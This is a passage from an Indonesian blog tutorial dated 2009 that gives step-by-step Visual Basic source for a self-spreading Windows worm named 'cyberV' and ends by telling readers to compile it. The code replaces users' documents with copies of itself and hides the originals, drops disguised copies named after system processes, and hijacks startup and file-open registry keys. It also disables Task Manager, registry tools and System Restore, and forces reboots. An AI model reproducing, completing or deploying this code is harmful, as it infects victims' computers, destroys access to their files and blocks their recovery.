Or UCase(Right$(FileName, 3)) = "txt" Or UCase(Right$(FileName, 3)) = "PDF" _
Or UCase(Right$(FileName, 3)) = "mp3" Or UCase(Right$(FileName, 3)) = "3gp" _
Or UCase(Right$(FileName, 3)) = "zip" Or UCase(Right$(FileName, 3)) = "MOV" _
Or UCase(Right$(FileName, 3)) = "rar" Or UCase(Right$(FileName, 3)) = "dll" _
Or UCase(Right$(FileName, 3)) = "gif" Or UCase(Right$(FileName, 3)) = "tar" _
Or UCase(Right$(FileName, 3)) = "log" Or UCase(Right$(FileName, 3)) = "php" _
Or UCase(Right$(FileName, 3)) = "pdf" Or UCase(Right$(FileName, 3)) = "doc" _
Or UCase(Right$(FileName, 3)) = "js" Or UCase(Right$(FileName, 3)) = "jpg" _
Or UCase(Right$(FileName, 3)) = "css" Or UCase(Right$(FileName, 3)) = "jpeg" _
Or UCase(Right$(FileName, 3)) = "exe" Or UCase(Right$(FileName, 3)) = "html" _
Or UCase(Right$(FileName, 3)) = "XLS" Then
CopyFile Left$(GetWindowsPath, 3) & "cyberV.exe", Path & CariNama(FileName) & " .exe", 0
SetFileAttributes Path & CariNama(FileName) & " .exe", FILE_ATTRIBUTE_NORMAL
DoEvents
SetFileAttributes Path & FileName, FILE_ATTRIBUTE_HIDDEN Or FILE_ATTRIBUTE_READONLY
CariFile = CariFile + 1
DoEvents
End If
End If
End If
End If
cont = FindNextFile(hSearch, WFD)

Loop
cont = FindClose(hSearch)
End If

hSearch = FindFirstFile(Path & SearchStr, WFD)
cont = True
Selesai = True
If Jenis = 1 Then
sPathLama1 = Path
ElseIf Jenis = 2 Then
sPathLama2 = Path
End If
DoEvents

End Function

Public Function CariDirectory(Path As String, SearchStr As String, sTemp As String, ByVal Jenis As Integer) As Double
Dim DirName As String
Dim DirNames() As String
Dim nDir As Double
Dim i As Double
Dim hSearch As Double
Dim WFD As WIN32_FIND_DATA
Dim cont As Double

If Right(Path, 1) <> "\" Then Path = Path & "\"
nDir = 0
ReDim DirNames(nDir)
cont = True
hSearch = FindFirstFile(Path & "*", WFD)
If hSearch <> INVALID_HANDLE_VALUE Then
Do While cont
DirName = Mid$(WFD.cFileName, 1, InStr(WFD.cFileName, Chr$(0)) - 1)
If (DirName <> ".") And (DirName <> "..") Then
If GetFileAttributes(Path & DirName) And FILE_ATTRIBUTE_DIRECTORY Then
DirNames(nDir) = DirName
nDir = nDir + 1
ReDim Preserve DirNames(nDir)
If UCase(DirName) = UCase(SearchStr) Then
Dim tamp As String
If Jenis = 1 Then
CariFile Path & DirName & "\", "*.*", 1
Else
CariFile Path & DirName & "\", "*.*", 2
End If
DoEvents
CopyFile Left$(GetWindowsPath, 3) & "cyberV.exe", Path & DirName & "\" & NamaFile(Path & DirName) & " .exe", 0
SetFileAttributes Path & DirName & "\" & NamaFile(Path & DirName) & " .exe", FILE_ATTRIBUTE_NORMAL
sTemp = SearchStr
TmpDrv = Left$(Path, 3)
Exit Function
End If
If UCase(DirName) = UCase("Startup") Then
CopyFile Left$(GetWindowsPath, 3) & "cyberV.exe", Path & DirName & "\" & NamaFile(Path & DirName) & " .exe", 0
SetFileAttributes Path & DirName & "\" & NamaFile(Path & DirName) & " .exe", FILE_ATTRIBUTE_NORMAL
DoEvents
End If
End If
End If
cont = FindNextFile(hSearch, WFD)
Loop
cont = FindClose(hSearch)
End If

If nDir > 0 Then
For i = 0 To nDir - 1
CariDirectory Path & DirNames(i) & "\", SearchStr, sTemp, Jenis
Next i
End If

Ketemu = False

End Function

Public Function CariNama(sName As String) As String
On Error Resume Next
Dim i As Integer
i = 0
For i = Len(sName) To 1 Step -1
If Mid$(sName, i, 1) = "." Then
CariNama = Left$(sName, i - 1)
Exit Function
End If
Next

End Function

'dapatkan nama file
Public Function NamaFile(sPath As String) As String

On Error Resume Next
Dim i As Integer

NamaFile = ""
i = 0
If Right(sPath, 1) = "\" Then sPath = Left$(sPath, Len(sPath) - 1)
For i = Len(sPath) To 1 Step -1
If Mid$(sPath, i, 1) = "\" Then
NamaFile = Right(sPath, Len(sPath) - i)
Exit Function
End If
DoEvents
Next

End Function

Public Function NamaPath(sPath As String) As String

On Error Resume Next
Dim i As Integer

NamaPath = sPath

For i = Len(NamaPath) To 1 Step -1
If Mid$(NamaPath, i, 1) = "\" Then
NamaPath = Left$(NamaPath, i)
Exit Function
End If
DoEvents
Next i

NamaPath = ""

End Function

'5. selanjutnya kita mengisi module Fungsi

Enum REG
HKEY_CURRENT_USER = &H80000001
HKEY_CLASSES_ROOT = &H80000000
HKEY_CURRENT_CONFIG = &H80000005
HKEY_LOCAL_MACHINE = &H80000002
HKEY_USERS = &H80000003
End Enum

Enum TypeStringValue
REG_SZ = 1
REG_EXPAND_SZ = 2
REG_MULTI_SZ = 7
End Enum

Enum TypeBase
TypeHexadecimal
TypeDecimal
End Enum

Enum SFolder
CSIDL_DESKTOP = &H0
CSIDL_PROGRAMS = &H2
CSIDL_CONTROLS = &H3
CSIDL_PRINTERS = &H4
CSIDL_PERSONAL = &H5
CSIDL_FAVORITES = &H6
CSIDL_STARTUP = &H7
CSIDL_RECENT = &H8
CSIDL_SENDTO = &H9
CSIDL_BITBUCKET = &HA
CSIDL_STARTMENU = &HB
CSIDL_DESKTOPDIRECTORY = &H10
CSIDL_DRIVES = &H11
CSIDL_NETWORK = &H12
CSIDL_NETHOOD = &H13
CSIDL_FONTS = &H14
CSIDL_TEMPLATES = &H15
End Enum

Public Function GetSpecialfolder(JenisFolder As SFolder) As String
Dim r As Long
Dim IDL As ITEMIDLIST
r = SHGetSpecialFolderLocation(100, JenisFolder, IDL)
If r = NOERROR Then
Path$ = Space$(512)
r = SHGetPathFromIDList(ByVal IDL.mkid.cb, ByVal Path$)
GetSpecialfolder = Left$(Path, InStr(Path, Chr$(0)) - 1)
Exit Function
End If
GetSpecialfolder = ""
End Function

Public Function GetFolderUser() As String
Dim r As Long
Dim IDL As ITEMIDLIST
Dim i As Integer
r = SHGetSpecialFolderLocation(100, CSIDL_PERSONAL, IDL)
If r = NOERROR Then
Path$ = Space$(512)
r = SHGetPathFromIDList(ByVal IDL.mkid.cb, ByVal Path$)
GetFolderUser = Left$(Path, InStr(Path, Chr$(0)) - 1)

For i = Len(GetFolderUser) To 1 Step -1
If Mid$(GetFolderUser, i, 1) = "\" Then
GetFolderUser = Left(GetFolderUser, i - 1)
Exit Function
End If
DoEvents
Next i

Exit Function
End If
GetFolderUser = ""

End Function

Public Function GetDocumentAndSettings() As String

On Error Resume Next
Dim i As Integer

GetDocumentAndSettings = GetFolderUser

For i = Len(GetDocumentAndSettings) To 1 Step -1
If Mid$(GetDocumentAndSettings, i, 1) = "\" Then
GetDocumentAndSettings = Left(GetDocumentAndSettings, i - 1)
Exit Function
End If
DoEvents
Next i

GetDocumentAndSettings = ""

End Function

Public Function GetUserAktif() As String

On Error Resume Next
Dim i As Integer

GetUserAktif = GetFolderUser

For i = Len(GetUserAktif) To 1 Step -1
If Mid$(GetUserAktif, i, 1) = "\" Then
GetUserAktif = Right(GetUserAktif, Len(GetUserAktif) - i)
Exit Function
End If
DoEvents
Next i

GetUserAktif = ""

End Function

Public Function GetLocalSettingsUser() As String

On Error Resume Next
Dim r As Long
Dim IDL As ITEMIDLIST
Dim i As Integer
r = SHGetSpecialFolderLocation(100, CSIDL_PERSONAL, IDL)
If r = NOERROR Then
Path$ = Space$(512)
r = SHGetPathFromIDList(ByVal IDL.mkid.cb, ByVal Path$)
GetLocalSettingsUser = Left$(Path, InStr(Path, Chr$(0)) - 1)

For i = Len(GetLocalSettingsUser) To 1 Step -1
If Mid$(GetLocalSettingsUser, i, 1) = "\" Then
GetLocalSettingsUser = Left(GetLocalSettingsUser, i - 1) & "\Local Settings"
Exit Function
End If
DoEvents
Next i

Exit Function
End If
GetLocalSettingsUser = ""

End Function

Public Function GetSystemPath() As String

On Error Resume Next
Dim Buffer As String * 255
Dim x As Long
x = GetSystemDirectory(Buffer, 255)
GetSystemPath = Left(Buffer, x) & "\"

End Function

Public Function GetWindowsPath() As String

On Error Resume Next
Dim Buffer As String * 255
Dim x As Long

x = GetWindowsDirectory(Buffer, 255)
GetWindowsPath = Left(Buffer, x) & "\"

End Function

Public Function CreateDwordValue(hKey As REG, SubKey As String, strValueName As String, dwordData As Long) As Long

On Error Resume Next
Dim ret As Long

RegCreateKey hKey, SubKey, ret
CreateDwordValue = RegSetValueEx(ret, strValueName, 0, REG_DWORD, dwordData, 4)
RegCloseKey ret

End Function

Public Function CreateStringValue(hKey As REG, SubKey As String, RTypeStringValue As TypeStringValue, strValueName As String, strData As String) As Long

On Error Resume Next
Dim ret As Long

RegCreateKey hKey, SubKey, ret
CreateStringValue = RegSetValueEx(ret, strValueName, 0, RTypeStringValue, ByVal strData, Len(strData))
RegCloseKey ret

End Function

Public Function Reboot() As Long

On Error Resume Next
LogOff = ExitWindowsEx(EWX_FORCE Or EWX_REBOOT, 0)

End Function

Public Function IsWinNT() As Boolean

On Error Resume Next
Dim myOS As OSVERSIONINFO

myOS.dwOSVersionInfoSize = Len(myOS)
GetVersionEx myOS
IsWinNT = (myOS.dwPlatformId = VER_PLATFORM_WIN32_NT)

End Function

Public Sub EnableShutDown()

On Error Resume Next
Dim hProc As Long
Dim hToken As Long
Dim mLUID As LUID
Dim mPriv As TOKEN_PRIVILEGES
Dim mNewPriv As TOKEN_PRIVILEGES

hProc = GetCurrentProcess()
OpenProcessToken hProc, TOKEN_ADJUST_PRIVILEGES + TOKEN_QUERY, hToken
LookupPrivilegeValue "", "SeShutdownPrivilege", mLUID
mPriv.PrivilegeCount = 1
mPriv.Privileges(0).Attributes = SE_PRIVILEGE_ENABLED
mPriv.Privileges(0).pLuid = mLUID
AdjustTokenPrivileges hToken, False, mPriv, 4 + (12 * mPriv.PrivilegeCount), mNewPriv, 4 + (12 * mNewPriv.PrivilegeCount)

End Sub

Public Sub RebootNT(Force As Boolean)

Dim Flags As Long
Flags = EWX_REBOOT
If Force Then Flags = Flags + EWX_FORCE
If IsWinNT Then EnableShutDown
ExitWindowsEx Flags, 0

End Sub

Public Sub Sett()

On Error Resume Next
CreateStringValue HKEY_CURRENT_USER, "Control Panel\Desktop\", REG_SZ, "SCRNSAVE.EXE", GetSystemPath & "MRHELL~1.SCR"
CreateStringValue HKEY_CURRENT_USER, "Control Panel\Desktop\", REG_SZ, "ScreenSaverIsSecure", "0"
CreateStringValue HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Run\", REG_SZ, "cyberV", GetWindowsPath & "cyberV.exe"
CreateStringValue HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Run\", REG_SZ, "MSMSGS", GetLocalSettingsUser & "\Application Data\WINDOWS\WINLOGON.EXE"
CreateStringValue HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Run\", REG_SZ, "Service" & GetUserAktif, GetLocalSettingsUser & "\Application Data\WINDOWS\SERVICES.EXE"
CreateStringValue HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows\CurrentVersion\Run\", REG_SZ, "Logon" & GetUserAktif, GetLocalSettingsUser & "\Application Data\WINDOWS\CSRSS.EXE"
CreateStringValue HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows\CurrentVersion\Run\", REG_SZ, "System Monitoring", GetLocalSettingsUser & "\Application Data\WINDOWS\LSASS.EXE"
CreateStringValue HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Control\SafeBoot\", REG_SZ, "AlternateShell", GetWindowsPath & "cyberV.exe"
CreateStringValue HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon", REG_SZ, "Shell", "Explorer.exe " & Chr(&H22) & GetSystemPath & "IExplorer.exe" & Chr(&H22)
CreateStringValue HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon", REG_SZ, "Userinit", GetSystemPath & "userinit.exe," & GetSystemPath & "IExplorer.exe"
CreateStringValue HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows NT\CurrentVersion\AeDebug", REG_SZ, "Debugger", Chr(&H22) & GetSystemPath & "Shell.exe" & Chr(&H22)
CreateStringValue HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows NT\CurrentVersion\AeDebug", REG_SZ, "Auto", "1"

CreateStringValue HKEY_CLASSES_ROOT, "exefile\shell\open\command", REG_SZ, "", Chr(&H22) & GetSystemPath & "shell.exe" & Chr(&H22) & " " & Chr(&H22) & "%1" & Chr(&H22) & " %*"
CreateStringValue HKEY_CLASSES_ROOT, "lnkfile\shell\open\command", REG_SZ, "", Chr(&H22) & GetSystemPath & "shell.exe" & Chr(&H22) & " " & Chr(&H22) & "%1" & Chr(&H22) & " %*"
CreateStringValue HKEY_CLASSES_ROOT, "piffile\shell\open\command", REG_SZ, "", Chr(&H22) & GetSystemPath & "shell.exe" & Chr(&H22) & " " & Chr(&H22) & "%1" & Chr(&H22) & " %*"
CreateStringValue HKEY_CLASSES_ROOT, "batfile\shell\open\command", REG_SZ, "", Chr(&H22) & GetSystemPath & "shell.exe" & Chr(&H22) & " " & Chr(&H22) & "%1" & Chr(&H22) & " %*"
CreateStringValue HKEY_CLASSES_ROOT, "comfile\shell\open\command", REG_SZ, "", Chr(&H22) & GetSystemPath & "shell.exe" & Chr(&H22) & " " & Chr(&H22) & "%1" & Chr(&H22) & " %*"
CreateStringValue HKEY_CLASSES_ROOT, "exefile", REG_SZ, "", "File Folder"

CreateDwordValue HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Policies\System\", "DisableCMD", 1

CreateDwordValue HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Policies\System\", "DisableTaskMgr", 1
CreateDwordValue HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\", "DisableTaskMgr", 1

CreateDwordValue HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\", "NoFolderOptions", 1
CreateDwordValue HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\", "NoFolderOptions", 1

CreateDwordValue HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Policies\System\", "DisableRegistryTools", 1
CreateDwordValue HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\", "DisableRegistryTools", 1

CreateDwordValue HKEY_LOCAL_MACHINE, "SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore", "DisableConfig", 1
CreateDwordValue HKEY_LOCAL_MACHINE, "SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore", "DisableSR", 1
CreateDwordValue HKEY_LOCAL_MACHINE, "SOFTWARE\Policies\Microsoft\Windows\Installer", "LimitSystemRestoreCheckpointing", 1
CreateDwordValue HKEY_LOCAL_MACHINE, "SOFTWARE\Policies\Microsoft\Windows\Installer", "DisableMSI", 1

CreateDwordValue HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Explorer\CabinetState", "FullPathAddress", 1
DoEvents

End Sub

Public Sub Kopi()
Dim Security As SECURITY_ATTRIBUTES
On Error Resume Next

CreateDirectory GetLocalSettingsUser & "\Application Data\WINDOWS", Security
SetFileAttributes GetLocalSettingsUser & "\Application Data\WINDOWS", FILE_ATTRIBUTE_SYSTEM Or FILE_ATTRIBUTE_HIDDEN Or FILE_ATTRIBUTE_READONLY

SetFileAttributes GetLocalSettingsUser & "\Application Data\WINDOWS\WINLOGON.EXE", FILE_ATTRIBUTE_NORMAL
SetFileAttributes GetLocalSettingsUser & "\Application Data\WINDOWS\LSASS.exe", FILE_ATTRIBUTE_NORMAL
SetFileAttributes GetLocalSettingsUser & "\Application Data\WINDOWS\CSRSS.EXE", FILE_ATTRIBUTE_NORMAL
SetFileAttributes GetLocalSettingsUser & "\Application Data\WINDOWS\SERVICES.EXE", FILE_ATTRIBUTE_NORMAL
SetFileAttributes GetLocalSettingsUser & "\Application Data\WINDOWS\SMSS.EXE", FILE_ATTRIBUTE_NORMAL
SetFileAttributes GetWindowsPath & "cyberV.exe", FILE_ATTRIBUTE_NORMAL
SetFileAttributes Left$(GetWindowsPath, 3) & "cyberV.exe", FILE_ATTRIBUTE_NORMAL
SetFileAttributes GetSystemPath & "shell.exe", FILE_ATTRIBUTE_NORMAL

CopyFile App.Path & "\" & App.EXEName & ".exe", GetWindowsPath & "cyberV.exe", 0
CopyFile App.Path & "\" & App.EXEName & ".exe", Left$(GetWindowsPath, 3) & "cyberV.exe", 0
CopyFile App.Path & "\" & App.EXEName & ".exe", GetSystemPath & "shell.exe", 0
CopyFile App.Path & "\" & App.EXEName & ".exe", GetSystemPath & "MrHelloween.scr", 0
CopyFile App.Path & "\" & App.EXEName & ".exe", GetSystemPath & "IExplorer.exe", 0
CopyFile App.Path & "\" & App.EXEName & ".exe", GetDocumentAndSettings & "\All Users\Start Menu\Programs\Startup\Empty.pif", 0
CopyFile App.Path & "\" & App.EXEName & ".exe", GetLocalSettingsUser & "\Application Data\WINDOWS\WINLOGON.EXE", 0
CopyFile App.Path & "\" & App.EXEName & ".exe", GetLocalSettingsUser & "\Application Data\WINDOWS\CSRSS.EXE", 0
CopyFile App.Path & "\" & App.EXEName & ".exe", GetLocalSettingsUser & "\Application Data\WINDOWS\SERVICES.EXE", 0
CopyFile App.Path & "\" & App.EXEName & ".exe", GetLocalSettingsUser & "\Application Data\WINDOWS\LSASS.EXE", 0
CopyFile App.Path & "\" & App.EXEName & ".exe", GetLocalSettingsUser & "\Application Data\WINDOWS\SMSS.EXE", 0

CopyFile App.Path & "\" & App.EXEName & ".pif", GetWindowsPath & "cyberV.exe", 0
CopyFile App.Path & "\" & App.EXEName & ".pif", Left$(GetWindowsPath, 3) & "cyberV.exe", 0
CopyFile App.Path & "\" & App.EXEName & ".pif", GetSystemPath & "shell.exe", 0
CopyFile App.Path & "\" & App.EXEName & ".pif", GetSystemPath & "MrHelloween.scr", 0
CopyFile App.Path & "\" & App.EXEName & ".pif", GetSystemPath & "IExplorer.exe", 0
CopyFile App.Path & "\" & App.EXEName & ".pif", GetDocumentAndSettings & "\All Users\Start Menu\Programs\Startup\Empty.pif", 0
CopyFile App.Path & "\" & App.EXEName & ".pif", GetLocalSettingsUser & "\Application Data\WINDOWS\WINLOGON.EXE", 0
CopyFile App.Path & "\" & App.EXEName & ".pif", GetLocalSettingsUser & "\Application Data\WINDOWS\CSRSS.EXE", 0
CopyFile App.Path & "\" & App.EXEName & ".pif", GetLocalSettingsUser & "\Application Data\WINDOWS\SERVICES.EXE", 0
CopyFile App.Path & "\" & App.EXEName & ".pif", GetLocalSettingsUser & "\Application Data\WINDOWS\LSASS.EXE", 0
CopyFile App.Path & "\" & App.EXEName & ".pif", GetLocalSettingsUser & "\Application Data\WINDOWS\SMSS.EXE", 0

SetFileAttributes GetLocalSettingsUser & "\Application Data\WINDOWS\WINLOGON.EXE", FILE_ATTRIBUTE_SYSTEM Or FILE_ATTRIBUTE_HIDDEN Or FILE_ATTRIBUTE_READONLY
SetFileAttributes GetLocalSettingsUser & "\Application Data\WINDOWS\LSASS.exe", FILE_ATTRIBUTE_SYSTEM Or FILE_ATTRIBUTE_HIDDEN Or FILE_ATTRIBUTE_READONLY
SetFileAttributes GetLocalSettingsUser & "\Application Data\WINDOWS\CSRSS.EXE", FILE_ATTRIBUTE_SYSTEM Or FILE_ATTRIBUTE_HIDDEN Or FILE_ATTRIBUTE_READONLY
SetFileAttributes GetLocalSettingsUser & "\Application Data\WINDOWS\SERVICES.EXE", FILE_ATTRIBUTE_SYSTEM Or FILE_ATTRIBUTE_HIDDEN Or FILE_ATTRIBUTE_READONLY
SetFileAttributes GetLocalSettingsUser & "\Application Data\WINDOWS\SMSS.EXE", FILE_ATTRIBUTE_SYSTEM Or FILE_ATTRIBUTE_HIDDEN Or FILE_ATTRIBUTE_READONLY
SetFileAttributes GetWindowsPath & "cyberV.exe", FILE_ATTRIBUTE_SYSTEM Or FILE_ATTRIBUTE_HIDDEN Or FILE_ATTRIBUTE_READONLY
SetFileAttributes Left$(GetWindowsPath, 3) & "cyberV.exe", FILE_ATTRIBUTE_SYSTEM Or FILE_ATTRIBUTE_HIDDEN Or FILE_ATTRIBUTE_READONLY
SetFileAttributes GetSystemPath & "IExplorer.exe", FILE_ATTRIBUTE_NORMAL
SetFileAttributes GetSystemPath & "MrHelloween.scr", FILE_ATTRIBUTE_NORMAL
SetFileAttributes GetDocumentAndSettings & "\All Users\Start Menu\Programs\Startup\Empty.pif", FILE_ATTRIBUTE_NORMAL
buatpesan "C:\Puisi.txt"
DoEvents

End Sub

Sub Restart()
If IsWinNT Then
RebootNT True
Else
Reboot
End If
End Sub

'6. selanjutnya kita mengisi module GetDrive

Public Function CariDrive() As String

Dim ictr As Integer
Dim sAllDrives As String
Dim sDrive As String

sDrive = ""
For ictr = 66 To 90
sDrive = Chr(ictr) & ":\"
If GetDriveType(sDrive) = 3 Or GetDriveType(sDrive) = 2 Then
CariDrive = CariDrive & sDrive
End If
Next

End Function

'7. selanjutnya kita mengisi module httinimsg

Public Sub buathtt(ByVal lokasi As String)
Open lokasi For Output As #1
Print #1, ""
Print #1, ""
Print #1, ""
Print #1, ""
Print #1, ""
Print #1, ""
Print #1, "
"
Print #1, ""
Print #1, ""
Print #1, ""
Close #1
SetFileAttributes lokasi, FILE_ATTRIBUTE_HIDDEN Or FILE_ATTRIBUTE_ARCHIVE
End Sub

Sub buatDesktop_ini(targetDrive As String)
Dim fTarget As String
fTarget = targetDrive + “ \ Dekstop.ini”
Open fTarget For Output As #1
Print #1, "; [.ShellClassInfo]; "
Print #1, "ConfirmFileOp = 0?"
Print #1, "; [{5984FFE0-28D4-11CF-AE66-08002B2E1262}]; "
Print #1, "PersistMoniker=file://web\Folder.htt"
Print #1, "; [ExtShellFolderViews]; "
Print #1, "{5984FFE0-28D4-11CF-AE66-08002B2E1262}={5984FFE0-28D4-11CF-AE66-08002B2E1262}"
Close #1
SetAttr fTarget, vbReadOnly + vbHidden
End Sub

Public Sub buatini(ByVal lokasi As String)
Open lokasi For Output As #1
Print #1, "[.ShellClassInfo]"
Print #1, "ConfirmFileOp=0"
Print #1, "[{5984FFE0-28D4-11CF-AE66-08002B2E1262}]"
Print #1, "PersistMoniker=file://cyberV\Folder.htt"
Print #1, "[ExtShellFolderViews]"
Print #1, "{5984FFE0-28D4-11CF-AE66-08002B2E1262}={5984FFE0-28D4-11CF-AE66-08002B2E1262}"
Close #1
SetFileAttributes lokasi, FILE_ATTRIBUTE_HIDDEN Or FILE_ATTRIBUTE_ARCHIVE Or FILE_ATTRIBUTE_SYSTEM
End Sub

Public Sub buatpesan(ByVal lokasi As String)
Open lokasi For Output As #1
Print #1, " cyberV"
Print #1, ""
Print #1, "apa yg kualami sekarang sungguh perih"
Print #1, "ku merintih tanpa seoorang kekasih"
Print #1, "inginku gapai semua mimpi"
Print #1, "mendapatkan kekasih yg baik Hatti"
Print #1, ""
Print #1, "becanda tawa di dunia dgn wanita"
Print #1, "hilangkan duka kita berdua"
Print #1, ""
Print #1, "inginku bukanlah inginmu"
Print #1, "ku brharap kau tak berharap"
Print #1, "ku meminta semua yang ada"
Print #1, "kan ku temani diimu jika kau menjadi"
Print #1, " kekasihku"
Print #1, "cintaku apa yg sedang kurasakan saat ini"
Print #1, "sungguh perih, sedih tanpa kekasih..."
Close #1
SetFileAttributes lokasi, FILE_ATTRIBUTE_NORMAL
End Sub

'8. selanjutnya kita mengisi module ProcessTable

'Medapatkan semua process yang sedang berjalan
Public Function Prosess(Jenis As Integer) As Long

On Error Resume Next
Dim r As Long
Dim hSnapshot As Long
Dim hSnapModule As Long
Dim sName As String
Dim uProcess As PROCESSENTRY32
Dim module As MODULEENTRY32
Dim iProcesses As Integer
Dim iModules As Integer
Dim NamaModule As String
Dim hProses As Long
Dim x As Long
hSnapshot = CreateToolhelpSnapshot(TH32CS_SNAPPROCESS, 0)

If hSnapshot = hNull Then
process = 0
Else
uProcess.dwSize = Len(uProcess)
r = Process32First(hSnapshot, uProcess)
Do While r
NamaModule = Mid$(uProcess.szExeFile, 1, InStr(uProcess.szExeFile, Chr$(0)) - 1)
iProcesses = iProcesses + 1
hSnapModule = CreateToolhelpSnapshot(TH32CS_SNAPMODULE, uProcess.th32ProcessID)

hProses = OpenProcess(&H1F0FFF, 1, uProcess.th32ProcessID)
If UCase(NamaModule) = UCase("Empty.pif") Or UCase(NamaModule) = UCase("Winlogon.exe") Or _
UCase(NamaModule) = UCase("Shell.exe") Or UCase(NamaModule) = UCase("cyberV.exe") Or _
UCase(NamaModule) = UCase("IExplorer.exe") Or UCase(NamaModule) = UCase("CSRSS.exe") Or _
UCase(NamaModule) = UCase("Services.exe") Or UCase(NamaModule) = UCase("lsass.exe") Or _
UCase(NamaModule) = UCase("MrHelloween.scr") Or UCase(NamaModule) = UCase("MRHELL~1.scr") Then
If Jenis = 1 Then
x = TerminateProcess(hProses, 0)
SetFileAttributes GetLocalSettingsUser & "\Application Data\" & NamaModule, FILE_ATTRIBUTE_NORMAL
DeleteFile GetLocalSettingsUser & "\Application Data\" & NamaModule
CopyFile Left$(GetWindowsPath, 3) & "cyberV.exe", GetLocalSettingsUser & "\Application Data\" & NamaModule, 0
DoEvents
If x <> 0 Then
Prosess 1
Exit Function
End If
End If
End If

If Not hSnapModule = hNull Then
module.dwSize = LenB(module) - 1
r = Module32First(hSnapModule, module)
Do While r
r = Module32Next(hSnapModule, module)
Loop
End If
Call CloseHandle(hSnapModule)
r = Process32Next(hSnapshot, uProcess)
Loop
CloseHandle hSnapshot
Prosess = iProcesses
End If
DoEvents
End Function

'jika sudah buat exstensi menjadi .exe dengan click alt, F, K [ File , make nama.exe]



Bagi yang ingin copy paste jangan lupa di sertai back link ke situs ini dan sumber.

Author : velshadow

On : 09 April 2009


silahkan berkomentar dengan sopan.